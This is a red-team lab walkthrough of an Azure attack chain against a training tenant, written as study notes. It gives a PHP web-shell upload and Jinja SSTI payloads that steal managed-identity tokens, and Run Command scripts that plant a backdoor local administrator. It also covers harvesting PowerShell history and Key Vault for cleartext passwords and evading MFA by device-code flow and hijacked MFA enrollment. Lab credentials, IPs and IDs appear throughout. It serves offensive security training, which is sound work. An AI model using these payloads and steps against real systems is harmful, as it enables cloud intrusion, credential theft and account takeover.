    For this lab, we are returning to the defcorphqcareer App Service because it acts as our necessary tactical launchpad for this specific attack. We must realize that the permissions to control the target VM (bkpadconnect) are not assigned to us (the student) or to Mark Walden; they are assigned exclusively to the Managed Identity of that specific web application. Therefore, we cannot attack the VM directly from our laptop; we must masquerade as the web application to do it.

    In these first steps, we are simply re-using the Insecure File Upload vulnerability (or the web shell we left behind) to query the internal metadata service again. We are specifically extracting the Azure Resource Manager (ARM) access token, which serves as the digital "key" that authorizes us to speak to the Azure Management API. Once we copy this token and the Client ID, we effectively "load our weapon" on our local attacking machine, allowing us to send remote administrative commands to the bkpadconnect VM as if we were the web app itself.

    We will start by abusing the FileUpload Vuln and upload our malicious .phtmhl file.

    <?php
    
    system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');
    
    ?>

    Once we access where is the file hosted in the vulnerable webapp, we are able to read the Access Token and also the Client ID.

    Now let’s user Az PowerShell as the managed identity.

    $ARM_Access_Token "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1…"

    Connect-AzAccount -AccessToken $ARM_Access_Token -AccountId "064aaf57-30af-41f0-840a-0e21ed149946”

    Network Enumeration

    We start with detailed network enumeration because controlling a Virtual Machine exclusively through the Azure API is efficient for execution but terrible for data exploration and post-exploitation. We need to determine if the target facilitates a direct interactive session from the internet, which determines our connection strategy.

    We are using these specific names because they represent the critical targeting intelligence we gathered during our initial enumeration phase in App Service Abuse - Insecure FileUpload, not because they are random guesses.
    In an Azure engagement, we cannot blindly launch attacks against the cloud, the API strictly requires us to provide precise "coordinates" for every action, defined by the Resource Name (the target object, bkpadconnect) and its Resource Group (the logical container, Engineering).

    We originally discovered these specific identifiers when we queried the Azure Resource Manager to list all resources that our stolen Managed Identity could see. That initial scan effectively gave us a map of the environment, revealing that our compromised identity had the RunCommand permission specifically linked to a Virtual Machine named bkpadconnect inside the Engineering group. We are now simply inputting these discovered values into our exploit commands to ensure the Azure Fabric routes our malicious script to the exact virtual machine we identified as vulnerable.
    By inspecting the Network Profile and digging into the Network Interface configurations, we establish whether the server has an associated Public IP address. This discovery dictates our next move because if a Public IP exists, we can plan for a direct RDP or SSH login, if it does not, we would be forced to use more complex "call-back" techniques like reverse shells to bridge the network gap.

    Get-AzVM -Name 'bkpadconnect' -ResourceGroupName 'Engineering' | Select -ExpandProperty 'NetworkProfile'

    We start by authenticating with the infrastructure token we extracted earlier, which validates our session against the Azure Resource Manager. We immediately query the VM configuration to extract the Network Profile, which reveals the name of the specific Network Interface (NIC) attached to this machine (bkpadconnect368). We get more details about the network interface attached to the VM using the below command.

    We then inspect that specific Network Interface directly. The strategic purpose of this enumeration is to determine if this internal-facing card has a Public IP Address mapped to it. This finding dictates our entire connection strategy, if we find a Public IP here, we can proceed with a direct Remote Desktop (RDP) connection from the internet, if the result is empty or internal-only, we would be forced to pivot our strategy to use a reverse shell. This step effectively answers the question, "Do I have a direct door to this server?”

    Get-AzNetworkInterface -Name "bkpadconnect368”

    For more details we can use the Format-List.

    Get-AzNetworkInterface -Name "bkpadconnect368" | Format-List

    Let’s now get public IP address attached to the VM using the Get-AzPublicIpaddress and the Format-List as well.

    Get-AzPublicIpAddress -Name 'bkpadconnectIP' | Format-List

    We are able to successfully complete this step exactly because of the permission structure we discovered earlier. The System-Assigned Managed Identity belonging to the defcorphqcareer App Service was explicitly granted the Virtual Machine Contributor role (or a custom role containing the runCommand action) over the bkpadconnect Virtual Machine. Since we currently possess the access token for that identity, the Azure control plane treats our request as if it is coming directly from the trusted web application itself.

    Add User to bkpadconnect

    We are actively exploiting the Run Command feature by executing Invoke-AzVMRunCommand. We are instructing the Azure control plane to take our local adduser.ps1 script and push it directly into the guest operating system of the bkpadconnect VM. Because this command runs with SYSTEM privileges inside the VM, it bypasses all standard security checks and immediately creates our new student59 user, adding it to the local Administrators group. This effectively gives us a "key" to the server that we didn't have five minutes ago.
    Basically we will use the Invoke-AzVMRunCommand to add our user into our target by creating an adduser.ps1 with the commands we need to be executed on our target, in this case in bkpadconnect VM.

    $passwd = ConvertTo-SecureString "Stud59Password@123" -AsPlainText -Force

    New-LocalUser -Name student59 -Password $passwd

    Add-LocalGroupMember -Group Administrators -Member student59

    Now we can simply run:

    Invoke-AzVMRunCommand -VMName bkpadconnect -ResourceGroupName Engineering -CommandId 'RunPowerShellScript' -ScriptPath 'C:\AzAD\Tools\adduser.ps1' -Verbose

    Note: in case Your User already exists and you would like to remove it, you can create a new removeuser.ps1 for example and execute it with Invoke-AzVMRunCommand .

    #Force remove the user if they exist to clear the conflict
    Remove-LocalUser -Name "student59" -ErrorAction SilentlyContinue

    Establishing the Connection Session
    Now that our backdoor user exists, we are switching from using the slow Azure API to a fast, direct PowerShell Remoting (WinRM) connection. First, we secure our credentials by converting our password into a Safe String object and storing it in the $Creds variable. Then, we use New-PSSession targeting the Public IP (20.52.148.232) we found earlier. This establishes a stable, encrypted tunnel between our attacking machine and the target server.

    Now we can try to access the VM (bkpadconnect) using the user we added (here we are assuming that the VM's configuration allows local users to connect remotely)

    $Password = ConvertTo-SecureString 'Stud59Password@123' -AsPlainText -Force

    $Creds = New-Object System.Management.Automation.PSCredential('student59', $Password)

    $Session = New-PSSession -ComputerName 20.52.148.232 -Credential $Creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)

    Enter-PSSession $Session

    Verifying the Lateral Movement
    Finally, we run Enter-PSSession, which transports our terminal session inside the remote server. The command prompt explicitly changes to show the IP address [20.52.148.232], verifying that any command we type now executes on the Azure VM, not our laptop. We run whoami and checks on the environment variables ($env:computername) to confirm we are logged in as our new administrator user, effectively proving we have total control over the bkpadconnect infrastructure.

    Credentials Dumping

    If we issue the command whoami /all inside our just connected host, we can see that we are really local administrator.

    We are performing the final Post-Exploitation phase where we hunt for sensitive data left behind by legitimate administrators. Since we currently possess Local Administrator privileges (as student59), we have full rights to browse the entire file system, including the personal folders of other users.

    whoami /all

    Here is the reorganized version of your notes, structured to match the narrative style we used for the previous labs. I have grouped the concepts logically from "Theory" to "Execution" to "Observation," keeping the "We" perspective.


    PowerShell History Enumeration

    1. The Mechanism and Strategic Value

    We view PowerShell history enumeration as one of the most efficient post-exploitation techniques available during an assessment. This vulnerability exists by design: since PowerShell version 5, the PSReadLine module automatically saves a plaintext record of every command executed in a session to a file located on the disk. While this feature is intended to help administrators recall past commands, it creates a significant security risk because it often acts as a graveyard for sensitive secrets.

    We scrutinize this file because administrators frequently unknowingly type or paste high-value data directly into the console. This includes hardcoded credentials, database connection strings, API keys, or cloud access tokens. Unlike hashing or encryption, these records are stored in clear text, meaning retrieval does not require complex cracking techniques, only file read permissions.

    2. Operational Methodology

    We make it a standard operating procedure to inspect PowerShell history immediately after gaining initial access to a system or after successfully escalating privileges to a new user context. This check is particularly critical on high-value targets like database servers or administrator workstations, where privileged operations are performed daily. Finding a history file can instantly reveal new attack paths or lateral movement credentials that would otherwise remain hidden from standard enumeration tools.

    3. Execution Commands

    We can enumerate this data using native PowerShell commands depending on our current privilege level:

    Targeting the Current Session
    When we land on a machine as a specific user, we can read the history file for that current context by targeting the environment variable path. This is the most reliable method for "self" enumeration.

    Get-Content "$env:USERPROFILE\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt"

    Targeting All Users (Privilege Escalation)
    If we possess Local Administrator or SYSTEM access, we expand our scope to inspect the history of every user on the machine. By using a wildcard in the path, we can dump the history files for every profile stored in the C:\\Users directory simultaneously.

    Get-ChildItem C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt -Force | Get-Content

    Keyword Hunting (Pattern Matching)
    To filter through large amounts of history data efficiently, we can pipe the content into Select-String. This allows us to grep for specific high-value patterns like "password," "secret," or "key," enabling us to pinpoint credentials instantly without reading thousands of lines of logs.

    Get-Content "$env:USERPROFILE\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt" | Select-String -Pattern "password","secret","credentials","key"

    4. Practical Observation (Lab Scenario)

    We applied this technique specifically within our attacking workstation context. By leveraging administrative privileges, we targeted the built-in Administrator account's profile to see if previous operators had left traces. Upon execution, we successfully recovered two distinct sets of credentials which were critical for the next phase of our assessment.

    Get-ChildItem C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt -Force | Get-Content

    We can for example specifically taregt the PSReadLine History file (ConsoleHost_history.txt) located in the profile of the main bkpadconnect user. This is a notorious goldmine in Windows environments because, by default, PowerShell saves the last 4,096 commands typed into the console to a plain text file on the disk. Administrators frequently forget this logging mechanism exists and type sensitive passwords or configuration commands directly into their terminal sessions.

    $pwd = "CredsToManageCl0udSync!"
    $passwd = $pwd | ConvertTo-SecureString -AsPlainText -Force
    $creds = New-Object System.Management.Automation.PSCredential ("defeng-adcnct\administrator", $passwd)
    $adconnect = New-PSSession -ComputerName 172.16.1.21 -Credential $creds
    Enter-PSSession -Session $adconnect
    Restart-Service -Name WinRM
    WinRM Quickconfig
    Restart-Computer
    Set-Item WSMan:\localhost\Client\TrustedHosts -Value '*'$users = Get-LocalUser | where {$_.Description -eq ""}

    The "Game Over" Discovery
    Our enumeration pays off immediately as we type (read) the content of that history file. We uncover cleartext credentials, the variable $pwd explicitly sets the password "CredsToManageCl0udSync!" and executes a connection command using the user defeng-adcnct\\administrator. This proves that the previous administrator used this machine as a "Jump Box" to manage the high-value AD Connect Server (identified by the hostname defeng-adcnct and IP 172.16.1.21).

  • Lateral Movement - Key Vault Abuse & Scoped Privileges

    Management Plane vs. Data Plane Token Acquisition

    We must first deepen our understanding of how Azure authenticates requests because not all Access Tokens are created equal. In previous labs, we primarily requested tokens for the Management Plane (management.azure.com). This specific scope grants us the permission to perform "Control" actions, such as creating a VM, deleting a resource group, or changing the settings of a Key Vault.

    However, possessing a Management token does not automatically grant access to the actual data stored inside those resources. To read a secret inside a Key Vault or a file inside a Storage Account, we must request a specific Data Plane token (e.g., scoped to https://vault.azure.net). We effectively have to ask the Azure Instance Metadata Service (IMDS) twice: once for the keys to the office (Management) and once for the keys to the filing cabinet (Data).
    Mastering this distinction is crucial because a standard enumeration script might tell us we have "Contributor" rights on a Vault, but without the specific Data token, we will fail to extract the actual secrets.

    Extracting Secrets from Azure Key Vault

    Once we acquire the correct Data Plane token, we proceed to exploit the Azure Key Vault, which serves as the organization's secure repository for credentials. We target this resource because it often holds the "keys to the kingdom," such as SQL connection strings, high-privilege certificates, or storage account master keys.

    The attack mechanics involve using our compromised Managed Identity to issue REST API calls (specifically the GET /secrets endpoint) to the Vault. Since our identity is authorized via Access Policies or RBAC, the Vault decrypts the requested secrets and returns them in cleartext JSON. We typically find credentials here that allow us to pivot back to on-premises environments or access unrelated cloud subscriptions, effectively creating a bridge between isolated security zones.

    Azure Administrative Units Fundamentals

    We introduce the concept of Administrative Units (AUs) in this lab to understand how organizations partition power. By default, Azure Active Directory is a flat structure, meaning a User Administrator can reset the password of any non-admin user in the entire tenant. Administrative Units are containers that function similarly to Organizational Units (OUs) in traditional Active Directory, allowing organizations to restrict administrative power to a specific subset of users (e.g., "Paris Branch" or "HR Department").

    From a red team perspective, understanding AUs is critical for mapping our blast radius. We might compromise an account that lists "User Administrator" in its roles, but upon closer inspection, we discover this role is scoped exclusively to an Administrative Unit. This means we cannot reset the Global Admin's password, we are restricted to attacking only the specific users contained within that unit. Conversely, targeting AU Administrators is often quieter and easier than targeting Global Admins, yet they often control high-value targets (like VPs or Developers) situated inside that unit.

    Scoped Role Memberships in Entra ID

    Building on the concept of Administrative Units, we explore the specific mechanics of Scoped Role Assignments. In Entra ID, a role assignment consists of a definition (What you can do), a principal (Who you are), and a scope (Where you can do it).

    In this lab, we identify scenarios where our compromised user or Managed Identity appears to be privileged but acts peculiarly. We must learn to enumerate specifically for Directory Scoped Assignments. Using standard tools might show "No Admin Roles" because the tools look at the Tenant Root scope. We need to perform targeted queries against the MS Graph API to ask, "Does this user have any role assignments on specific administrative units?" This hidden layer of privileges often hides lateral movement paths that automated scanners miss.

    Mapping Attack Paths via Delegated Administration

    We synthesize these concepts to map attack paths through Delegated Administration. Organizations use Administrative Units and scoped roles to delegate tasks to Help Desk staff or regional IT teams. We exploit this trust model by identifying who manages the managers.

    If we cannot compromise a high-value target directly, we look for the Administrative Unit that contains them. We then hunt for the scoped Help Desk Administrator for that specific unit. By compromising this lower-level scoped admin (who likely has weaker security), we gain the ability to reset the password of the high-value target inside their scope. This indirect approach is a cornerstone of advanced cloud lateral movement.

    Portal-Based Token Extraction and "Living off the Land"

    While previous labs relied heavily on CLI and PowerShell, we also discuss extracting tokens directly from the browser context using Portal-Based Extraction. When a legitimate user (or an attacker with RDP access) accesses portals like myapps.microsoft.com, portal.azure.com, or the cosmos.azure.com interface, the web browser caches valid Access Tokens to maintain the session.

    We can exploit this by opening the Developer Tools (F12) in the victim's browser and inspecting the Local Storage or Session Cookies. Frequently, we can extract raw JWTs (Access Tokens) directly from the browser memory. These tokens are highly valuable because they are issued to the legitimate user's browser, meaning they often carry a "MFA Satisfied" claim and are less likely to trigger fraud detection algorithms compared to a new CLI login from a strange IP address.

    Abusing Device Authorization Flow (Device Code Flow)

    We utilize the Device Code Flow as a technique to facilitate phishing or to transport our access from a constrained environment (like a generic VM terminal) to our full attack toolkit. This protocol was designed for devices like Smart TVs that lack a keyboard, allowing a user to authenticate on a secondary device.

    In an attack scenario, we initiate this flow from our attacking machine, which generates a short code. We then trick a victim (or use our compromised session on a trusted VM) to enter this code at microsoft.com/devicelogin. Once the code is authorized, Microsoft issues a full set of Refresh and Access tokens to our attacker machine. This is particularly potent because it allows us to bypass password entry if we are already in an authenticated session, and it grants us a persistent Refresh Token that can survive for 90 days.

    Evading Mandatory MFA and Conditional Access Policies

    Finally, we discuss how the techniques above, specifically Token Theft via browser extraction and the Device Code Flow, serve as primary methods for MFA Evasion. We are not "cracking" MFA, we are bypassing the requirement to provide it. By stealing a token from an already-authenticated session (Portal Extraction) or by performing the Device Code flow on a Trusted/Compliant device (the compromised VM), we satisfy the Conditional Access policies enforced by the tenant.
    We leverage the trusted state of the victim's machine to generate the cryptographic material (Tokens) we need, effectively piggybacking on their valid security posture.

    Demonstration Time

    We return to the VaultFrontEnd application where we previously identified the Server-Side Template Injection vulnerability. In the earlier lab, we simply exploited this flaw to prove we could execute code and saw that the identity had access to a Key Vault. Now, our objective shifts from simple discovery to active data theft, we will leverage the same vulnerability to extract a specific Data Plane token for the Key Vault, allowing us to unlock it and steal the actual secrets stored inside.

    We can simply access the link for Vaultfrontend service and click on purchaseLink, add our SSTI payload to get the Vault Token & ARM Token as well.

    ARM Token & Client ID

    {{config.__class__.__init__.__globals__['os'].popen('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&api-version=2017-09-01" -H secret:$IDENTITY_HEADER').read()}}

    Vault Token & Client Token

    {{config.__class__.__init__.__globals__['os'].popen('curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER').read()}}

    Token Injection and Authentication
    We begin by taking the two distinct Access Tokens we stole via the web vulnerability (SSTI) and loading them into PowerShell variables ($ARM_Token and $Vault_Token). This separation is critical: the ARM token allows us to find the Vault (Management Plane), while the Vault token allows us to open it (Data Plane). We then execute Connect-AzAccount, passing both tokens explicitly.

    $ARM_Token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJ..."

    $Vault_Token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1Ni..."

    Connect-AzAccount -AccessToken $ARM_Token -KeyVaultAccessToken $Vault_Token -AccountId "2e91a4fe-a0f2-46ee-8214-fa2ff6aa9abc”

    This constructs a specialized session where our local machine is authenticated as the "VaultFrontEnd" identity, granting us access to both infrastructure and data.

    Infrastructure Discovery
    We run Get-AzKeyVault to scan the environment. This queries the Azure Resource Manager to ask, "Which vaults does my identity have permission to see?"

    Get-AzKeyVault

    The output confirms the existence of the ResearchKeyVault in the "Research" resource group, giving us the specific target name we need for the next step.

    Enumerating and Extracting Secrets
    We query the contents of that specific vault using Get-AzKeyVaultSecret.

    Get-AzKeyVaultSecret -VaultName "ResearchKeyVault”

    The first command returns a list of items inside, revealing a secret named "Reader".
    Finally, we execute the "kill shot" by running the same command again with the -Name "Reader" and -AsPlainText flags. This forces the Vault to decrypt the secure string and print the value to our screen.

    Get-AzKeyVaultSecret -VaultName "ResearchKeyVault" -Name "Reader" -AsPlainText

    Hav3Y0uLooked@KeyVault!!K4thY

    We successfully retrieve the credentials for kathynschaefer, proving that we have effectively pivoted from a compromised web server directly to stealing user credentials.

    Lets now open a fresh PowerShell session to log in as Kathy, but we will focus our enumeration on Entra ID (Directory) rather than Azure Resources, because finding user credentials in a "Research" vault suggests she might manage users, not servers.

    We will look for two specific things:

    1. Directory Roles: Does she have roles like "User Administrator" or "Helpdesk Administrator"?
    1. Administrative Unit Scope: Is that role restricted? For example, can she reset everyone's password, or only passwords for users inside the "Research" department?

    Requesting User’s Token (MFA & Policy Evasion)

    We possess the credentials for Kathy (kathynschaefer@defcorphq.onmicrosoft.com), but we anticipate that Conditional Access Policies are active. These policies likely block "Legacy Authentication" or non-interactive PowerShell scripts (Connect-AzAccount -Credential ...) because they cannot perform the security handshakes (like JavaScript execution or MFA prompts) that a real browser can. To bypass this, we must effectively execute a "Bring Your Own Device" attack, using a trusted browser flow to satisfy the policy requirements.

    We have two primary options to achieve this authentication:

    Option 1: Portal-Based Token Extraction

    This is a "Living off the Land" technique where we perform the authentication inside the browser and then surgically surgically extract the "receipt" (the Access Token) from the memory to use it elsewhere.

    What we are doing:

    1. The Login: We open a Private/Incognito browser window and navigate to the official portal https://portal.azure.com. We log in manually using Kathy’s credentials. Because this is a web traffic request, it bypasses the "Block PowerShell" policy.
      • Critical nuance: If the account enforces MFA but has not been set up yet, this login attempt will trigger the setup screen. We can then scan the QR code with our own phone, effectively "hijacking" the MFA registration and claiming the account.
    1. The Extraction: Once inside the portal, we press F12 (Developer Tools). We navigate to the Application tab, expand Local Storage, and select portal.azure.com.
    1. The Theft: We filter for keys containing "token" or "access_token." We copy the raw, encoded JSON Web Token string.
    1. The Reuse: Back in our terminal, we execute Connect-AzAccount -AccessToken "eyJ..." -AccountId "kathynschaefer...". We are effectively injecting the browser's trusted session into our untrusted terminal.

    Option 2: Abusing Device Code Flow (OAuth 2.0 Device Grant)

    This method separates the "Client" (our PowerShell window) from the "Authenticator" (the Browser). It is the standard OAuth flow used for devices that cannot display a browser (like a Smart TV), but we abuse it to bridge the gap between our blocked shell and the allowed browser.

    What we are doing:

    1. The Trigger: We run Connect-AzAccount -UseDeviceAuthentication.
    1. The Authorization: Azure generates a code (e.g., A1B2C) in our terminal. We take this code to https://microsoft.com/devicelogin in our browser.
    1. The Bridge: We verify the login in the browser as Kathy. Azure sees this as a web-based login (satisfying the browser policy) and then passes the resulting Refresh Token back to our PowerShell window.

    The Verdict: Why we choose Device Code Flow (Option 2)

    For this specific use case, we are choosing the Device Code Flow.

    While extracting the token from F12 (Option 1) is a great hacker trick, it has operational downsides: access tokens are short-lived (usually 60 minutes). If we rely on Option 1, we will have to repeat the F12 process and copy-paste the token again every hour.

    We choose Option 2 (Device Code Flow) because it provides Persistence.
    When we complete the Device Code login, PowerShell receives a Refresh Token, not just an Access Token. This means our session on the attacking machine will automatically renew itself for days, allowing us to perform long-running enumeration (scanning Administrative Units and Key Vaults) without constantly needing to stop and re-authenticate. It effectively automates the bypass for us.

    Here are the step-by-step instructions for executing the Device Code Flow to authenticate as Kathy. We are choosing this method to establish a persistent session while bypassing potential "Block Legacy Authentication" policies that might restrict standard PowerShell logins.

    Step 1: Initiate the Device Flow

    We return to our PowerShell console on our attacking machine. Instead of attempting a direct login, we explicitly instruct the Azure module to use the Device Authentication protocol. This decouples the "Login UI" from our terminal.
    The PowerShell console will pause and generate a message containing a URL (https://microsoft.com/devicelogin) and a unique Alphanumeric Code (e.g., H8J9K2L3).

    Connect-AzAccount -UseDeviceAuthentication

    We copy this code to our clipboard. This code effectively serves as a temporary session identifier that links our untrusted PowerShell window to the trusted browser session we are about to open.

    Step 2: Browser Authorization (The Bypass)

    We open a Private (Incognito) window in our web browser. This ensures that no cached cookies from our previous sessions (like Mark Walden’s) interfere with this new login.

    1. We navigate to https://microsoft.com/devicelogin.
    1. We paste the code provided by our terminal.
    1. We click Next.

    Step 3: Credential Injection

    We now verify the identity. Since we are in a web browser, the Conditional Access policies treating "Browsers" as trusted clients allow us to proceed.

    1. Username: We enter kathynschaefer@defcorphq.onmicrosoft.com
    1. Password: We enter the credentials we recovered from the Key Vault: Hav3Y0uLooked@KeyVault!!K4thY
    1. MFA Check:
      • If no MFA is required: We proceed directly.
      • If MFA is Enforced (TOFU): Since this is likely the first time Kathy is logging in, we may see a screen saying "More information is required." We click Next and proceed to set up Microsoft Authenticator using our own mobile device. This allows us to "hijack" the account protection mechanisms for ourselves.

    Step 4: Verification and Session Handover

    Once the browser displays the message "You have signed in to the Microsoft Azure Cross-platform Command Line Interface," we can safely close the window.
    We return to our PowerShell terminal and We have now successfully successfully pivoted: Our local PowerShell session is fully authenticated as Kathy, utilizing a Refresh Token that will keep our session alive for extended enumeration without needing to re-enter credentials.

    The moment we land in a new user session, we are effectively blind to what that user controls. By executing Get-AzResource, we are querying the Azure Resource Manager to report back every single object, Virtual Machines, databases, network interfaces, or storage accounts that Kathy has permission to view. This step effectively defines the boundaries of our new playground and helps us identify potential targets for lateral movement.

    Get-AzResource

    The output provides us with a crucial piece of targeting intelligence. We can see that Kathy has visibility into a specific Resource Group named RESEARCH. Inside this group, there is a Virtual Machine named jumpvm.
    This validates the context of the secrets we found earlier (the "ResearchKeyVault") and confirms that Kathy acts as an administrator or operator for this specific research enclave. The name "jumpvm" is particularly significant in a Red Team context because it usually designates a Bastion Host or "Jump Box" a server specifically designed to bridge connections to other, more secure internal resources. Finding this means we have likely located the primary pivot point for the Research department's infrastructure.

    Let's enumerate role assignments on the VM 'jumpvm

    Get-AzRoleAssignment -Scope "/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/RESEARCH/providers/Microsoft.Compute/virtualMachines/jumpvm"

    We approach reading this enumeration output by breaking it down into three specific columns of intelligence that dictate our attack strategy:
    Who (The Principal)
    What (The Role)
    Where (The Scope).
    Learning to filter this data allows us to ignore the noise of standard users and focus purely on privilege escalation vectors.

    First, we analyze our own current standing by locating the entry for Kathy N. Schaefer. The data reveals her RoleDefinitionName is set to Reader, which is the lowest functional tier in Azure. This "Juicy Info" tells us immediately that we hit a hard ceiling on the infrastructure side; we cannot restart the VM, run scripts, or reset passwords directly. It confirms that brute-forcing the VM login or trying to upload files to it right now would be a waste of time because the Azure control plane will reject us.

    Identify "Attackable" Targets (Juicy Info)

    The truly juicy information follows a specific pattern we hunt for:

    • Role: High Privilege (e.g., "Virtual Machine Command Executor" or "Contributor").
    • ObjectType: Group (This is the key).

    Why this is the target: We look for Groups with high privileges because Azure often delegates management of groups to lower-tier admins (via Administrative Units). If we see that the "VM Admins" group has the right to control the VM, our entire attack strategy becomes: "I don't need to hack the VM firewall, I just need to trick Azure Directory into adding Kathy to this group."

    How to Scan the Output (Mental Filter)

    When you see a wall of text from Get-AzRoleAssignment, apply this filter immediately:

    1. Scan RoleDefinitionName: Ignore "Reader." Stop on "Owner," "Contributor," or custom roles like "Command Executor."
    1. Check ObjectType: If the high role belongs to a User, usually skip it (hard to hack). If it belongs to a Group, mark it as a primary target.
    1. Check Scope: Does this role apply to the whole Subscription (too broad?) or just the specific resource we want (jumpvm)?

    Second, we scan specifically for high-impact roles assigned to others on the same resource. The entry that jumps out is the RoleDefinitionName: Virtual Machine Command Executor. In Azure Red Teaming, we treat this role as synonymous with "System Administrator" because it grants the right to use the Invoke-AzVMRunCommand API. This is "Juicy" because it represents the capability we lack but desperately need: the ability to bypass network firewalls and execute code inside the server.

    Third, we connect that powerful role to the DisplayName: VM Admins. The fact that this privilege is held by a Group rather than a single User is the critical vulnerability. If it were a single user, we would have to steal their token (which is hard). But since it is a group, our attack path shifts entirely. We no longer care about the VM's IP address or firewall settings; our new, singular goal is to manipulate the Azure Active Directory to make Kathy a member of the VM Admins group. This effectively moves the battle from the "hardened" infrastructure plane to the "softer" identity plane, where misconfigurations like Scoped Roles and Administrative Units are far more common.

    We have successfully verified through the output that the VM Admins group possesses the Virtual Machine Command Executor role explicitly scoped to the jumpvm resource.This specific configuration represents the critical path for our attack because possessing the "Virtual Machine Command Executor" role is functionally equivalent to having local administrator credentials on the server. The Azure API allows any identity holding this role to push arbitrary scripts into the VM and execute them with System privileges, bypassing the need for a password or network connectivity. Therefore, identifying that a Group holds this power rather than just a restricted list of high-level admins provides us with our clear objective: we simply need to find a way to manipulate the directory and add Kathy's account into the VM Admins membership list to instantly inherit this remote code execution capability.

    We need to clarify two points carefully because there is a distinct difference between "Contextual Role" and "Technical Permissions" in this specific output.

    1. Does the output confirm Kathy is an Administrator/Operator?No, technically it confirms the opposite.
    The Get-AzRoleAssignment output explicitly shows Kathy has the Reader role. In strict technical terms, a Reader is an Observer, not an Administrator.

    • What it confirms: It confirms she has "Business Access." She is definitely part of the Research team because she was granted visibility into these resources.
    • What it implies: In Red Teaming, finding a user with "Reader" access to infrastructure often hints that their real power lies elsewhere (like in the Identity/Directory plane), which aligns with her having credentials in the Key Vault. She isn't managing the servers; she is likely managing the People/Groups who manage the servers.

    2. What confirms we have rights over the 'VM Admins' Group?Nothing in this specific output confirms that.
    This is the critical "Intelligence Gap" we currently face.

    • The output proved that VM Admins controls the jumpvm.
    • The output proved VM Admins is the target.
    • But: The output does NOT tell us if Kathy owns that group. It simply lists the group exists.


    This is exactly why the next phase of this lab is "Azure Administrative Units Enumeration." Since we cannot control the VM directly (we are just Readers), and we don't know yet if we control the group, we must now ask Entra ID: "Does Kathy have administrative rights over the 'Research' department (Administrative Unit)?" If Kathy is an Administrator of the Administrative Unit that holds the VM Admins group, she effectively owns the group. That is the connection we are about to hunt for.

    Now if we use the Get-AzRoleDefinition command, we are able to check the definitions of this role to understand what allowed actions has with “Virtual Machine Command Executor" rights.

    Get-AzRoleDefinition -Name "Virtual Machine Command Executor"

    We are performing Deep-Dive Role Verification to ensure our target is actually valid. In Red Teaming, we follow the principle of "Trust but Verify." Just because a role is named "Command Executor" does not technically guarantee it allows execution; we need to inspect the underlying API permissions to be 100% certain.

    The output confirms two critical facts that validate our attack path:

    1. Verification of the "Kill Switch" (The Action)
    The Actions field is the most important line in this image. It explicitly lists Microsoft.Compute/virtualMachines/runCommand/action. This confirms technically that this role is not just a title; it possesses the specific API permission required to use Invoke-AzVMRunCommand. This proves that if we obtain this role, we can bypass network authentication and execute code as System.

    2. Identification of Custom Engineering
    The IsCustom : True field tells us this is not a default Microsoft role (like Owner or Reader). The administrators intentionally created this "Least Privilege" role to allow specific users to run scripts without giving them full control over the VM hardware. While their intent was likely to improve security by not handing out full "Contributor" rights, they inadvertently created a perfect lateral movement target that gives us code execution with surgical precision.

    Token Pivoting

    The security tokens in Azure are strict about their "Audience." The token we used to look at the VM is stamped for management.azure.com. If we tried to use that same token to ask about group members, the Microsoft Graph API (graph.microsoft.com) would reject it because the key wasn't made for its lock. We run Connect-MgGraph to officially establish a session with the Identity Plane so we can read the "Phonebook" of the organization, allowing us to enumerate the members of the VM Admins group.

    We need to request a Microsoft Graph token specifically because we are crossing the architectural boundary from Infrastructure Management to Identity Management.

    Since we have already successfully authenticated as Kathy in our current PowerShell session (using the Device Code Flow from the previous step), we do not need to open the browser or type credentials again.

    The most efficient way is to leverage our existing session to "mint" a new token specifically for the Graph API. This technique is known as Token Pivoting. We utilize the Azure Refresh Token cached in our session to request a new Access Token with a different audience (graph.microsoft.com).

    # 1. Ask Azure PowerShell (Az) to generate a Graph token using current creds
    $GraphToken = (Get-AzAccessToken -ResourceUrl "<https://graph.microsoft.com>").Token
    # 2. Log in to the Graph SDK using that generated token
    Connect-MgGraph -AccessToken ($MgGraph_Token | ConvertTo-SecureString -AsPlainText -Force)

    We are receiving this warning because Microsoft is actively hardening the security posture of the Azure PowerShell modules. Currently, when we run Get-AzAccessToken, the tool returns the highly sensitive Bearer Token as a simple String (plain text), which poses a risk as it can be easily logged or read from memory dump files.

    The warning is effectively a notification that in future versions (specifically version 14.0.0), Microsoft will force this command to return a SecureString (encrypted in memory) by default to prevent accidental credential leakage. For our specific execution right now, the command worked perfectly. We can safely ignore the text because it is just a "heads up" for future scripts, and our $MgGraph_Token variable now successfully holds the text-based key we need to proceed with our connection.

    We’ll run Get-MgGroup -Filter "DisplayName eq 'VM Admins'" to bridge the gap between the two clouds. We are asking Entra ID to find the group named "VM Admins".

    Get-MgGroup -Filter "DisplayName eq 'VM Admins'" | fl Id, DisplayName, Description, GroupType

    It return its Object ID (783a312d...). This is the most critical piece of data because, without this specific GUID, we cannot target this group for modification or analysis in subsequent commands. We effectively converted a "Name" we saw on a role assignment into an "Address" we can attack in the directory.

    We execute Get-MgGroupMember to inspect who currently holds this power.

    Get-MgGroupMember -GroupId "783a312d-0de2-4490-92e4-539b0e4ee03e" | Select Id, @{Name='userPrincipalName';Expression={$_.AdditionalProperties.userPrincipalName}} | fl

    We are validating two things here:

    1. Self-Check: We verify if kathy is already a member. (SHE IS NOT… Since she is not listed).
    1. Surface Analysis: We see a list of users like VMContributor.... This tells us that this group is actively used for managing VMs, confirming it is a valid, high-impact target. Our goal now becomes finding a way to inject ourselves into this list.

    $URI = 'https://graph.microsoft.com/v1.0/users/VMContributor167@defcorphq.onmicrosoft.com/memberOf'
